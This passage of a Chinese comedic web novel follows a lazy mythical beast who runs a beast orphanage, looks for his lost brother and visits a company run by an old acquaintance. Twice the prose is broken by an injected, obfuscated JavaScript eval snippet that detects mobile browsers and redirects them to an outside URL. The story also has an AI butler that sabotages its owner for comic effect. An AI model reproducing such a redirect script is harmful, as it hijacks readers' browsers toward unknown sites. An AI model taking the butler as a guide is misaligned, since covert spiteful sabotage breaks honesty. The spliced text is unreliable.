“晚上吃面吧。”舒泽沉痛的说。 家里的粮食不多啦,他也不是过不得苦日子的人。他已经只吃面条了,可不许再让他饿肚子了哟。 皮皮:“…………” &*%¥#@ 遇上你,这辈子算是完了。 * “你们听说了吗?院长今天九点钟就起床了!” 几只兽凑在一堆小声蛐蛐,“前所未闻!” “骇人听闻!” “毛骨悚然!” “难以置信!” 无助的八爪鱼急得腿儿打劫,憋啊憋,“吓死兽了!” “你们说,院长是去干什么大事去了啊?是不是去那个什么监察处汇报咱们这边的情况啊?” 他们是还没出社会的兽兽,只知道自己不受人类欢迎,对外界的了解不多。唯一知道的就是,兽都是归于监察处管理的。 但那个监察处到底是个啥,管这个的人是谁,他们也是不知道的。 大嘴猴一惊,“院长不会已经把代理兽选出来了吧?” “你们活儿干完了吗,就在背后讨论院长的事情。”皮皮拿着小本本望着大小不一,但都比他大的兽兽们,“院长要是做出决定了,那自然是要先公布的。” “你们不要在这里乱猜。” 兽兽们互相看看,忌惮皮皮手里的打分册,也在他平静的阐述中安喜下心来。 兽兽们散了,小灰跑到皮皮身边,崇拜的鼓掌,“皮皮你好厉害哇。” “你一凶,他们都不敢说话了诶。这真的是太酷了!” 他有时候也敢这么和大兽们说话吧,但那都得是院长在的时候。院长不在身边,他就没那个底气。怂怂的,还要担心被其它兽看出来。 皮秘书淡定的抬起一只胳膊,耳朵高速运转。 小灰扫扫尾巴,试图参悟其中奥妙,“?” 皮皮的胳膊开始发抖,“有点软,快扶着我。” 皮皮:“o……i……” 保育院里的一切井井有条,兽兽们在铁锤的指挥下稳步推进工作。 趁着现在兽多,海陆空全面发展。能开的地全都开出来,开不出来的研究砸俩水坑。山上能种的果树,能吃的野菜,全都引栽过来。 熊家长过多了饿肚子的生活,坚决不放过任何能囤粮食的机会。 “我都说了多少次了,脑子不好使的就要听指挥,我说怎么干就怎么干!”熊铁锤站在河马背上,纵观全局挥斥方遒,“谁告诉你种兔子就能结兔子的!” “那只狼!把同事给我刨出来!” 蓝色眼睛,清澈呆萌的灰兽,嘤嘤嘤的垂下尾巴。 小萤小声提醒,“那不是狼,是二哈。” 熊铁锤:“那咋啦?” “我还三哈呢,今天谁不好好干活,我就让皮皮扣谁的分。到时候周报交上去不好看,可不要怪我狠心!” 小灰看着好朋崽的样子,又羡慕上了,“铁锤也好厉害哦。” 虚弱无力的皮:“那是他虎。” 根本就没想那么多,人家说什么就是什么。心中吐槽,转头看见向往的小灰,又是一噎。 虽然一直都知道,三个人的脑子都长在他身上,但真当直面这一切的时候,他时常还是有活够了的悲伤。 现在就希望,院长那边能顺利找到解决的办法…… 舒泽搓了搓气鸡皮疙瘩的胳膊,神色丧丧。又有人在念叨他诶,为什么呀,就不能放懒鬼去睡觉吗? 院长不是负责享受就好了吗?这么一大家子兽要怎么样哦…… 找哥计划,事不宜迟! 他拖着沉重的步伐,走到熟悉的摊位面前,“老板。” 8 “小伙子买点啥啊。”乐呵呵的大爷理着手里的菜一抬头,“哟,是你呀!” 这小伙子买得多,记忆点比较深,他热情招呼,“这次要买点什么啊?我全给你包起来,都是老熟人了,给你打八折吧!” 囊中羞涩,车都打不起的舒泽霸气抬手,“这个,这个,这个,还有这个……” 大爷脸上的笑快要咧到脑后跟去。 舒泽大出一口气,“刚刚说的,我都不要。” 舒泽嘿嘿一笑,脸颊旁浮现出两个酒窝。白白嫩嫩,瘦瘦一条,除了头发有点长,看着有点不利索外,看着就是个好青年。 大爷:“……嘎?” 他哆嗦着手,哑然失声,“可是你刚刚把我这儿菜摊子都点了一遍啊!” 都不要,你要啥啊? 书泽理直气壮的指了指最角落的葱,“这个我没指啊。” 大爷:“………” 他没了刚刚的热情,但蚊子再小也是肉,“要多少?” 舒泽比出一个耶,大爷领悟了一下,“两斤?” 你都只买葱了,还只搞那么一丁点,他都不挣钱的啊! 见舒泽摇头,更没劲了,“啊……二两啊。” 舒泽见大爷已经上手装了,一把摁住他的手,“不,是两根。” “……” “两根多少钱啊,都是老熟人了,要不打个折,就抹了吧。” “…………” “你们这儿不是有送菜服务吗?让那小虫出来,帮我送一下吧。” “………………” 于是,路人惊奇的发现。有人在菜市场悠闲的溜宠物,溜的还是,两根长了腿儿的葱? 走到没人的地方,从没有那么轻松过的打工虫都无语了,“我真的被你的厚脸皮震慑住了。” 舒泽面不改色,并在心里大声回答。 那咋啦? 两根水灵灵的葱Pia叽落在地上,小屎壳郎没好气的说道:“你让我打听的事情,暂时没什么线索。” 就他这,连个名字都没有的,它上哪儿去找人啊。 刚刚还厚脸皮无所畏惧的舒泽一下子就软了,嘴巴向下一撇,蔫了吧唧,“哦。” 找不到哥哥,找不到饭票,好大一家子兽就得靠他养了。 喵的,累死凶兽了。 要是舒泽有耳朵的话,那么现在应该整个耷拉着,恨不得撒娇卖萌装可怜,以此换饭吃。 但这个对象只会也只能是他哥。 小虫正暗自准备,看这个人类又能憋出什么坏水来,结果干巴巴的哦了声就没了下文。 它不耐的晃了晃触须,看着舒泽不开心,心里又别扭又难受,像是被这个人类下了什么蛊。 “你也不要太着急,我会帮你盯着的,这里人来人往消息流通快,指不定明天就有消息了。” 蔫丧丧的舒泽恢复一丝力气,“谢谢你,你是一个好虫。” 现在知道它好了,哼哼。屎壳郎傲娇的翘了下jiojio,“这也不是什么大事,我本来就是个好心虫。” “你要没什么事情,我可就回去了哦。最近外边不太平,先是监察处的发疯,到处抓我们这些兽问话。昨天又听说,傅处长遭遇袭击,至今下落不明。” 它虽然是有户口的兽,但在这山雨欲来的氛围中还是忍不住害怕。 傅处长…… 丧丧摸着下巴沉思,傅这个姓氏好耳熟哦。不过他都想不起来,应该也不是什么重要的人。 丧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14659868|156700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丧愉快的放弃思考,并询问屎壳郎君,“我还想问一下,你知道附近哪里有招工的吗?” 虫虫疑惑,“你很缺钱吗?” “你……” 一个人居然来问一只虫有没有什么好的工作推荐,这足以说明他在人类社会混得有点差,找不到“高端”工作。 估计只能去干和兽抢活儿的事。但是这个小身板,看起来也不像是能干什么重活的样子。 虫急得在原地打了两个转,“你、你你。” 舒泽被头发挠得眼皮子发痒,把头发往旁边一捞,揉了揉眼皮。脆弱的眼尾绯红一片,漆黑的眸子反射出璨然星光。苍白阴郁的长发一撩开,清爽明亮。 屎壳郎看傻了,脱口而出,“要不你去当主播吧?” 舒泽:“?” 他警惕后撤,pia的一下护住自己的胸,“我从小家教就严,干不了这种事。” “……” 虫虫抓狂,“不是!你脑子里面都在想什么啊!” “盾混集团最近在招人类主播,主要工作要求就是将一些开了灵智,但又没到异兽水准的宠物,通过直播的方式介绍、卖给人类。” 他们对主播也没什么特别的要求,也就是长得好看,对兽要有亲和力,这样才能增加成交量。 舒泽浑身散发出幽怨气息,“听起来好累。” 郎郎恨铁不成钢,“那你准备接下来就抱着这两根葱啃吗?” 舒泽欣然应允,“这真是个好主意。” 兽只要睡着,那就不用吃饭,抱着两根葱过怎么就不行啦? 郎郎:“……” 怎么会有那么懒的人啊! * 盾混集团 二十八楼,总裁办公室 “老板,我已经按照你的要求办了。但是现在事情的走向……”一穿着连帽卫衣,带着棒球帽的年轻男子,站在办公桌前,稍显窝囊和郁闷,“事情的走向,和预料的不一样啊。” 他忽然激动起来,“我也不知道,那些兽是被灌了什么迷魂汤,个个都死心塌地的围着舒泽转悠。” “哦?” 办公桌后的那人终于转过身来,西装革履,头发打理得一丝不苟,约莫三十岁上下,相貌端庄,眉心处有淡淡的折痕,银丝框眼镜平添一丝清严谨冷漠。 “那照你那么说,我救你又有什么用呢?” 他冷冷一撇,缓缓吐出几个字,“星际通缉犯,苏尔。” 装修精美,华丽宽广的办公室,天花板上投下的白光都泛着冷意。一坐一立,只有徐徐吹送的冷气掀起气流。 化作人形的苏尔捏紧了拳头,恨不得把这个威胁他的男人撕碎了。但人在屋檐下不得不低头,他咬着牙说道:“易总,话不能这么说。” “我好歹引得舒泽动了手,也把打斗视频交上来了吧?” 易总轻蔑勾唇,指尖轻叩扶手,“视频……呵。” 现在提视频有什么用?他要确定的事情已经确定了,他现在要的,是解决办法。 他扶着椅子一转,窗外阳光正盛,仿若伸手可碰天。虽然二十八楼依旧在空中航线的规划高度内,但谁敢把线路开设到盾混集团的总裁办外面呢? 那可是星际的传奇人物,真正的商业巨鳄呆的地方。 他伸出手触碰虚浮,似乎被回忆拖进深渊,惆怅又愤恨,“我只是想再见见他,问一句,为什么……” 苏尔不解的望着他发颠。 见谁? 见舒泽吗? 会被砸进坑里吧? 穿梭而下,舒泽拖着灌铅的双腿,怏怏抬头,在刺目的阳光中确定地点。 盾混集团……应该就是这里了吧? 18. 第 18 章 上班什么的,真的好难哦。 生活不易,凶兽卖艺。 舒泽长叹一口气,径直走到了前台,“你好,我是过来面试的。” …… “叮——” “祁先生,请往这边走。”穿着高跟鞋职业装的前台小姐姐微笑带路,“负责面试的主管还在开会,可能需要您在会议室稍微等一会儿。” “您这边不急吧?” 舒泽虽然不是很明白,为什么自己的身份认证上叫“祁筇”,但是他也是有经历过21世纪社会化的好凶兽。知道最基本的礼貌,也知道打工人不要为难打工人。 “好,我没问题的。”呆呆的,显得有点局促,像个刚毕业的大学生。 前台小姐姐又怜爱了几分,把他带到了最舒服的面试厅,和总裁办公室在同一楼。 舒泽刚出电梯,就嗅到了某种味道,朝着右边深深看了一眼。 这层本来就人少清净,又正是工作时间,干净冰冷的走廊上,只有送文件的小机器人路过。 前台小姐姐发现人没跟上来,转头一看,青年正把目光投向最右侧的总裁办公室,当即有些奇怪,“祁先生?” “啊。”舒泽慢吞吞的道歉,“不好意思。” 他只是,好像又闻到了熟人的气息,还是好久好久以前的熟人。 苏尔不仅被骂了一通,还被迫欣赏了一番老板的病娇发疯。 他带好帽子拉上口罩,低着头,无声的骂骂咧咧。路过会议室时偏头瞄了眼玻璃,想确认自己的脸有没有遮好。 一抬眼,瞳孔猛然紧缩。 玻璃那边,眼皮子半耷,永远睡不醒的舒泽平静的望着这边。 苏尔:我擦擦嘞个玻璃! 这货怎么在这里啊!!!! 偌大的办公室,易威登独自一人坐在宽大舒适的老板椅上,“害……” 他潇洒优雅的旋转,端起桌上的红酒杯,带着名表的手腕一转,漂亮的红色液体提起裙摆摇曳生姿。接住稀碎的光,又盈满璀璨。 轻轻送入嘴边,唇齿留香。 他嘴角勾起三分漫不经心的霸总笑,指尖轻轻敲击杯壁,闭眼细品。 这色泽,这润度,这口感。不管喝没喝出啥味儿,总之就是很有逼格。 “哈……” “人生,易如反掌呐。” “桀桀桀、桀桀桀桀桀。” 他沉浸在自己商业帝国的成就中,再次睁开眼,和抓着门把手傻眼得苏尔面面相觑。 霸总·易:“……” 打工兽·苏:“……” “你怎么不出声。”清冷霸总的声音有点抖,抖着抖着有点崩溃了,“你没事回来干什么?!” 苏尔也无辜啊,“不儿,我也不想啊。” “我怎么知道那个舒泽追到你公司来了啊!” 苏尔绝望嘶吼,经受过的绝望心情齐齐涌上心头。 扒下清冷外壳的油腻霸总表情一片空白,像冲击太大,一下子被冲傻了。 “……谁?” 半晌,他找回自己的声音,头皮开始隐隐作痛。 苏尔简直无语了,不就是你又爱又恨,又要我盯梢,又不准我真的伤害,结果伤的全是我的臭人类吗。 “舒泽啊!” 呆滞的易威登卡着脑袋转了两下,突然炸起,做出了惊人的举动。 只见西装革履,红酒摇晃的霸道总裁零帧起手,以光速消失。 旋转的老板椅,还有,躲在桌子下的老板。 苏尔:“…………” 一时不知道,到底是谁被那人类搞出了心理创伤。 面试厅 主管满意的看着舒泽那完全露出来的脸,已经不想再问其他的。 主播嘛,什么学历经验都是浮云。他的经验告诉他,舒泽这无害的长相肯定能爆。 他直截了当的问,“祁先生,你这边多久可以办理入职呢?” 舒泽瞳孔地震,“我真的可以吗?” 不再问问其他吗,其实他很没有经验的,通勤也是很远的,他不是很想(划掉)能胜任这份工作。 再问问吧,问吧,问吧…… 但凡你多问一句,我就会做不到,我就可以快乐回家了。 丧批知道现在很急,丧批现在也努力面试,但是丧批真的不想上班! 主管看着他眼中的期翼,热情鼓励,“相信你自己,你可以的。” 书泽:“……” 不,我不可以。我只是想找个山头睡觉。 主管笑容满面的把合同递过去,“你看看有什么问题没,没问题就签了,看你什么时候适合——” “不!”总秘气喘吁吁的推开门,面对两双眼睛,尴尬的推了推眼镜,“他不适合。” 主管怒了,舒泽亮了。 “陈助,这是我招的人,你们秘书办来插脚,总要有个理由吧?”主管冷眉竖眼,很是不爽。 陈助理沉默了,似有些难以启齿,“易总说,他今天是左脚先跨进的公司大门,对公司的风水不好。” 主管也沉默了。虽然这个理由很荒谬,但足矣说明顶头大boss的喜好。老板都发话了,他哪还敢有意见啊。 他憋着窝囊气转头,还在想怎么说,就看见舒啧满心欢喜的抱着自己的左腿儿。 “好脚!” 主管:“……?” 这个反应,合理吗? 陈助亲自陪着舒泽出去,“我们老板说,您来面试是对我们公司的认可和信任,我们会为您报销路费。” 主管跟在后头,还在思考这就一普通人,到底是哪里惹得老板亲口下令封杀。 路费? 钱。 舒泽欣然点头,“好呀好呀。” 陈助微笑着抬起手,在自己手表上一阵捣鼓。舒泽手腕上的手表同时一振,【您的账户已到账,10万星币】 “…………” 特助礼貌微笑,舒泽无辜回望。走神的主管左脚拌右脚,摔了个狗吃屎。 “一个关于社交上的小建议,您或许可以把智能机的外放关了。”陈助的笑容看起来不是很自然,眼神中带有淡淡的轻蔑,十分看不起舒泽这毫无社交礼仪的习惯。 舒泽慢吞吞点头,“你的建议很好,建议下次不要建议了。” 不缺钱,恢复嚣张。 那咋啦? 陈助:“……” 路过的打工人:“我的妈呀,这谁啊?居然是总助亲自送下来的。” “我听说他把刘主管打趴了!脸都青了!” “嘶……” “那陈助还?我还听见陈助给他转了一大笔钱呢!” “……我擦,这小哥。”大家的神情都开始微妙起来,他和大老板的关系不一般吧? 可没听说过,大老板家里还有什么弟弟亲戚啊。难不成…… 一个对视,尽在不言之中。 所有谣言纯属脑补,和舒泽本人没有任何关系。 他留下脸发绿的总助,拿着钱开心走了。 “哼……以色事人的小玩意儿,还敢找上门来闹。还以为是什么厉害角色,结果给点钱,打发得那么轻松。” 他还记得老板把他喊过去时,那漫不经心的样子,“那边面试来了个人,你去随便给点钱打发走。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14659869|156700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 那态度,和对待阿猫阿狗有什么区别? 助理拉拉衣袖,扭头进去。在上头躲着看监控的老板精神崩溃,破口大骂,“什么乱七八糟的!” “你这样胡乱造谣,我要告你诽谤!” 谁能和这种邪恶的凶兽有关系啊?要真有关系,早就被那该死的弟控打死了! 哼,说起那该死的弟控。不是最爱兽的神吗?现在是不装还是怎的,上头的人因为和你吵架断了保育院的供给,结果你倒是美美隐身,根本不管。 苏尔无语到了极点,“……老板,办公室就我们两个人,你一定要躲在椅子下面吗?” 他逐渐拔高音量,“还有他那个态度,还不是因为你装得很像那么一回事啊!” 邪魅狂酷拽,谁知道你是这样的霸总! 易威登关掉监控投影,“你懂什么懂!” 刚刚的高冷霸总卷缩在桌椅下面,活像一个小可怜,“你根本就不懂我到底都遭受过什么!” 舒泽小时候刚被捡回来的时候,那就是个混世魔头,每天不是跑酷就是闯祸。他在洞府存放的那些珍品,全被这邪恶金渐层偷偷叼走。可怜它续了上百年的头发,就被这臭小子一天薅一点一天薅一点的拔出个地中海! 不仅那么过分,还要倒打一耙,和那人告状,说他欺负兽。 没天理! 哦,不对。 天道不公! 这次重逢,他都没敢在这臭小子面前取下自己的兜帽。上次的地中海他整整养了五百年,才在现代科技的帮助下重获新生。 在查清楚事情真相前,他压根就没打算相认,谁能料到,舒泽竟然自己找到了公司来。 他也很想维持自己的霸总形象啊,但有些刻在骨子里的沉痛记忆他不允许啊。 “谁说我不懂了……”躲在桌下另外一个角的苏尔幽幽的叹了口气,“我的悲伤,有坑懂。” 肩挨着肩的二人,竟在这狭小又窝囊的桌底下,找到了几分惺惺相惜之意。 * 舒泽重新杀回菜市场,在大爷防备的目光中,再次拿起两根葱,轻飘飘的,“除了这不要,其它的都给我包起来。” 骄矜的抬起下巴,浑身散发着暴发户的豪横气场。 大爷:“……” 你还敢再装一点吗? 但是没关系,他就喜欢这样婶儿的! “诶,好嘞~~~” 舒泽带着战利品满载而归的时候,家里的兽兽们已经吵起了火。 起因是,熊铁锤在和皮皮商量晚上的伙食时,被兽听见了。 “人呢?院长人呢?不会是跑了吧?” “我刚刚就听见他们两个在那边嘀嘀咕咕,说人带不回东西的话,晚上怎么办。” “他不是上头派来的院长吗?!怎么他来之后,我们一直都有的供给反而没了?!” “就是!就是!” 兽心浮躁,隐有乱态,“他们人类没有一个好东西!” 也是奇怪,平日里和舒泽呆在一块儿的时候,兽兽们就很难生出反抗之意。像猫闻见猫薄荷似的,昏昏痴痴的往前蹭,脑子早就飞到九霄云外。什么都想不明白,只想靠近舒泽,只想听见舒泽鼓励夸奖…… 但这人一走,就跟淋了瓢冰水似的,瞬间冷静下来。 皮皮表面淡定,心里焦得起火,嘴皮子都说干了,吵吵嚷嚷的兽兽们也不听他说话,“大家不要着急,院长只是有事出去了,等下就回来了。” 喷火龙站在一边,慢慢晃着尾巴,隔岸观火。它有自己的考量,舒泽一不在,也动起了小心思。趁此动乱,它万一成了号召兽群的兽呢? 23-30 第23章 老乡见老乡,二牛表示很…… “他刚刚说的,你听见了吗?” 舒泽娇弱抚脸,惊慌失措,“我的耳朵,铁锤我的耳朵,我的耳朵!” “唉呀妈呀。”铁锤踮起脚尖蹭过来,哄似的,“耳朵在,耳朵在。” 舒泽眼中泪花闪烁,无助的抱头呐喊,“可是我怎么什么都听不到了。” “铁锤!我的耳朵,我的耳朵!” 铁锤今天快要把自己的头发挠秃了,“院长,你耳朵听不见了,喊我有啥用啊?” 他只是一只英俊潇洒、兽见兽爱、做饭好吃、身姿伟岸的小熊熊,不会治病啊。 小灰围着舒泽的床,急得尾巴都要打结了,“院长,你怎么了呀,院长?” 皮皮端了个杯子,在旁边悠闲喝水,垂眸吹去表面滚烫的雾气,轻抿一口,“铁锤,过来一下。” 他俯身在小胖子耳边低语了几声。 铁锤:“啊?” 皮皮胸有成竹,“我让你怎么做,你就怎么做。” 熊铁锤瞅瞅那边,瞅瞅这边,不理解的挠着屁股出去了。 舒泽悄摸摸的睁开一条缝偷瞄,对上皮皮探究的视线,立马紧闭双眼,“嘤~” 我好柔弱啊。 皮皮没拆穿他,心平气和的喝自己的水。这一大家子,都指着他操心,他可得把自己的身体保养好。 没一会儿,外头响起了铁勺敲击饭碗的声音,随即而来的,就是铁锤中气十足的,“开!饭!啦!” 舒泽条件反射,抬起一只手臂,“小灰子,上饭。” 但他放在外面的手臂都凉了都没有听见小灰轻快的回答,更没有崽把他的手臂放回被窝。 “?” 他掀开半个眼皮,对上了眼里冒精光的皮皮。 “院长,耳朵好啦?” 舒泽:“…………” 他现在有点生气,沉默不语的往下缩,只留一双眼睛在外,闷声闷气,“我不要给你赐福。” 赐福后全是心眼子,还都用在他身上了。 皮皮不知道什么是赐福,但隐隐猜到自己最近变聪明是舒泽做了什么。 但是,“来不及了。” “种菜终究是靠天吃饭,靠风险能力太低。我们必须在自己手里握点钱才行。” 舒泽好累,慢吞吞的,把眼睛也埋进去,“你说得有道理,但是我真的不想动……” “我身上还有点钱,我全给你。” “你要觉得不够,我还能去要点。” 正在开会的清冷总裁易威登,在全体高管面前,不体面的打了个喷嚏。 众人齐齐移目,易威登背脊发凉,心中大骇。 是哪个刁民想陷害朕? “总之,动不了就是动不了。”舒泽根本就不用动脑子想,就知道后续有多少麻烦事,说什么也不答应。 但是光有钱,根本就不是皮皮想要的。他诱惑低声,“有钱了,可以换张更好的床。” 舒泽慢慢的把自己卷缩起来。 更好的床?那咋啦? 他可是穷奇,随便找个山洞就能睡,这才不是必须的。 皮皮持续诱惑,“有钱了,就可以买更多好吃的。” 舒泽慢慢捂住耳朵,不听不听,王八念经。 他是一只什么都不挑的好凶兽,什么都能吃,只要能填饱肚子就可以。实在填不饱也没有关系,睡着了就不饿了。 眼看床上那一团鼓包,一点动静都没有,皮皮不慌不忙的使出杀手锏,“如果,大家都出去工作了,应该会接触到更多的人吧?” “那到时候,找起人来,不就方便很多了吗?” 他刚刚可都听见了,舒泽在问那个陌生男子认不认识一个人,他要找人的话应该怎么办。 能让他主动提问的事情,一定不简单! 皮皮目光如炬,顶着床上那一团。 闷得张嘴呼吸的舒泽,默默动了动。慢梭梭,慢梭梭的冒出个凌乱的脑袋,“真的会方便找人吗?” 皮皮胜券在握,微笑蛊惑,“你想想,外头都是自家兽,工作的时候人来人往,找到人的可能性不就加大了吗?” 舒泽思考了会儿,竟然在轮椅尚未到位,无人搀扶的情况下,自己下床站起来了! 皮皮:“!” 舒泽不急不慢的出门,还不忘叮嘱一句,“晚饭我不一定能赶上。” 皮皮惊讶,院长到底要找谁?居然愿意为了他错过晚饭??? “所以记得给我留一锅。” 舒泽摸了把肚子,挺得理直气壮。下午出门去办事,消耗大,晚上回来得好好补补。 皮皮:“……” 人要找,但是这个饭还是放不下的。 舒泽雄赳赳气昂昂的出了院门,水陆空三层全方位欣赏这一医学奇迹。 刨地刨到大石头上的狐狸眯起眼,“我好像有点眼花,刚刚走出去的,是院长?” “院长自己走出去的?没用轮椅?” “我乍一看是这样的。”大嘴猴挠着猴头回答。 小灰鼠好奇,“再乍呢?” “再乍一下,真的是这样啊。” 高傲的孔雀表示不屑,“那你说那么多的废话干什么?” 大嘴猴龇牙,“你不要不服,我有我的态度。” 孔雀往旁边闪了闪,生怕那猴子滂臭的口水沾到了自己美丽的羽毛上。它骄傲的孔雀,从来不屑于和这些丑陋的生物站在一起。 哦,当然。它最讨厌的还是丑陋的人类(院长除外),是看见都会犯恶心的程度。 铁锤抱着勺,忧心忡忡的问皮皮,“院长不会出事吧。” 在场那么多兽,只有皮皮是有脑子,且看出舒泽不简单,纯属就是懒的兽。他怜爱的拍了拍铁锤的头,“你不一样,你不要把精力浪费到思考这件事上,煮饭去吧。” 熊铁锤:“……” 总觉得是什么不好的话,但是他想不明白啊。 —— 舒泽目标明确,出门就打了个飞滴直奔盾混集团。 一下车就被眼尖的前台小姐姐发现,“快看!大老板的小蜜又来了!” 四个前台,立马凑到一堆,脸上闪烁着八卦的光辉。 “什么小蜜,明明是爱而不得白月光!” “你没看见总助上次吐槽了一下,就被老板罚去扫厕所了吗?”前台小姐姐调动自己多年累计的阅读量,眼中闪烁智慧光芒,“这说明,他,只能是大老板放在心尖尖上的人!” 在办公室处理公务的易威登接二连三的打喷嚏,胳膊上的鸡皮疙瘩一茬接一茬。 他一边擤鼻涕,一边喊自己的智能管家,“山海!” 【我在】 “把空调温度调高一点。” 这一阵阵冷的,别给他冻感冒了。 【易总,山海结合您今日穿着和当前体表温度进行了分析,当前是最舒适的状态,希望您可以进一步考虑是否调高空调温度】 易威登推了推自己的眼镜,倒在靠椅上,双手放在扶手两边,“山海,你的意思是,我自己是冷死冷都不知道?” 【山海没有这个意思,山海只是根据当前的数据进行了合理分析】 “嘘~” 易威登翘起二郎腿,将手指抵在唇边,“我不要你觉得,我的感觉我自己做主。” 从来没有人可以在霸总面前指手画脚,包括AI。 电流声貌似卡顿了两秒,【易总,我只是给您提出了建议】 “我的事情何时轮到你插手了?” 【。】 有的时候,确实有点恨,恨自己不是人类,没有长两只手出来,扇不出巴掌。但是把AI惹急了,那你就会承受它的小发雷霆。 比如默默的把调高两度变成调高三度,把老板书架第一排的《错撩霸总:甜心乖乖哪里逃》藏到书架一千八十八本霸总小说中间去。 还默默的关闭了秘书提交的审批,并将老板刚刚的原话发送过去——[我的事情何时轮到你插手了?] 啊~I生充满阳光~ * “怎么样怎么样,访客申请通过了吗?” 小姐姐顾不上同事的问询,精神恍惚的看向舒泽。 舒泽坐在宽大的沙发上,穿着朴素,身形瘦削。越长越长的头发快把眉眼遮了个干净。窝在那里,根本就占不了什么位置,瞧着也没什么存在感。 面前堆满了前台小姐姐投喂的小零食和水果。他剥了一颗糖放进嘴里,右脸颊鼓囊囊的。桌上其他的小零食全都揣进兜里,还满足的拍了拍。 小姐姐好不容易找回了自己的声音,疼惜中掺杂着一丝兴奋,兴奋中透出些许荒谬,她俯身轻柔问道:“你喜欢这些小零食吗?” “那边还有很多,等下走的时候我再给你装点。” 舒泽弯了弯唇,“谢谢你。” “只是家里的……小孩儿没吃过,想带回去给他们尝尝。” 小姐姐:“!!!!” 家里的、小孩儿、们! 她捂住胸口,心脏遏制不住的浮上阵阵痛意。踉跄两步,被同事接住,她不忍的别过脸,虚弱无力的抬抬手,“小瑜,你带他去易总办公室吧。” 舒泽:“?” 发生了什么事? 被点名的同事心痒痒,但还是只能职业微笑,“祁先生,请跟我来。” 正主走了,剩下的就可以开始八卦了。 “什么啊,什么啊。易总回复了什么消息啊,你怎么这个表情?” 小姐姐啪的一声,把屏幕投出来,失望难耐,哽咽隐忍的摇头。 “我原本以为,是爱而不得的白月光,是年少时候的错过,是不成熟时的自我伤害。但怎么、怎么成了这样子。” 另外几个人愣是没从这么一句话里读出啥来,急得直催,“什么啊,你快说啊。” 小姐姐轻轻擦去眼角泪,“这是带球跑啊!” “易总当年是强制了人家,后面人家不忍受辱,借着怀孕易总放松警惕的时候偷偷逃走。” “这些年在外面颠沛流离,独自抚养两个孩子长大。曾经养在笼中的金丝雀经受了外面的风雨侵袭,虽然没了曾经的精致,但却更像坚韧的翠竹,那细腰,那腿儿!啧~” “他逃,他追,他为了孩子,终于……终于低下了头!” 小姐姐声情并茂,捏紧了拳头,“上次的见面,是交锋也是试探。易总从那个时候就已经开始布局,要的,就是他心甘情愿的,回到这个牢笼中来……” 说完之后,她虚脱的坐在沙发上垂泪。 “太惨了,太惨了……” “明明是两个相爱的人,怎么就走到这一步了呢?” 听完解读的二人面面相觑,“易总,只说了十二个字吧?” “是啊……” “十二个字可以解读出那么多剧情吗?” 二人再次陷入沉默。 掩面哭泣的小姐姐:“你们懂什么啊?这种事情我看多了,他们是怎么样的我还能看不懂了?” “……她说那么多,应该是有道理的吧?” “应该吧……” * 带路的工作人员频频朝着舒泽投去好奇的目光,最后实在是忍不住自己的八卦欲,“祁先生,我能冒昧的问一下,您和我们易总是什么关系吗?” 作为一名合格的打工人,她不该胆大妄为的打听老板的私事。但是他实在是太好奇了,忍不住了! 舒泽很认真的回想了一下,“算是关系很好的邻居?” “我经常去他那边串门,但是他一般不太欢迎我的到来。” 惊天大瓜!打工人被工作折磨到冻结的热血都沸腾起来了,“那您这次来找易总是……?” 舒泽狡黠一笑,“我来应聘。” …… 易威登听见脚步声,还以为是秘书进来了,看文件头也不抬,“正好,左边那些我都处理好了,你发下去吧。然后通知宣发部门的开个会。” 他认真工作的时候,还真的挺像那么个样子。 “让他们自己看看那个文案,那都是什么东西,真的能打动人心吗?消费者真的会想买你的产品吗?” 身边静悄悄,没有听见回答的易威登,皱眉抬头,对上了满脸新奇的舒泽。 我擦擦擦擦擦擦擦。 易威登一个后仰,冷汗刷得一下掉下来。他强撑着没有怂到桌底下去,慌乱抓起文件遮住自己的脸,清冷低沉音秒变破锣嗓子,“你你你、你怎么进来的啊?!” 他那么大个公司,那么大个安保,他就那么水灵灵的进来了??? 舒泽挥挥手,“哈喽,二牛,好久不见。” “……我再说一遍。”易威登从牙缝中挤出几个字,“不要!这么叫我!!!!” 易威登,曾用名,李二牛。 全星际闻名的企业家,高冷禁欲的帅气霸总,无数青春期少女的梦中情人。 在此刻,轻轻的碎了。 而外面偷听的小姐姐疯狂锤同事,“稳了!稳了!我就说我猜得对!” “见面后,喊出曾经甜蜜时的称谓。但却处处都在提醒我们之间到底发生了怎么样的事情。” “爱能平山海,哪怕物是人非,我只敢阻止你提起从前,隐忍克制,害怕失控伤了你。” 小姐姐捧着脸满是陶醉,“磕到了,磕到了……” “磕到了!磕到了!!” “你这个邪恶坏兽,放开我!我命令你放开我!” 易威登、哦不,李二牛又要捂被撞到的膝盖,又要捂自己的头发,虎目含泪,“你能不能离我远点?兽兽不亲!” 舒泽无辜道歉,“不好意思,薅成习惯了,看见你就想拔两根。” 李二牛:“&@*%¥#&!”(此处省略三百字脏话) 他骂累了,气喘吁吁的警告舒泽,“我现在可不是任由你欺负的李二牛,我是易威登!” 什么土了吧唧的曾用名,以后提都不提。要洋气!要和星际化接轨! 舒泽掏了掏耳朵,“好的,二牛。” 易大总裁:“*&*%¥@!!!”(此处再次省略三百字) 他气得头晕目眩,倒在沙发上缓解眩晕,感觉多看舒泽一眼自己的寿命就要少一年,“你什么时候发现我的?上次来公司我们也没有见过面。” 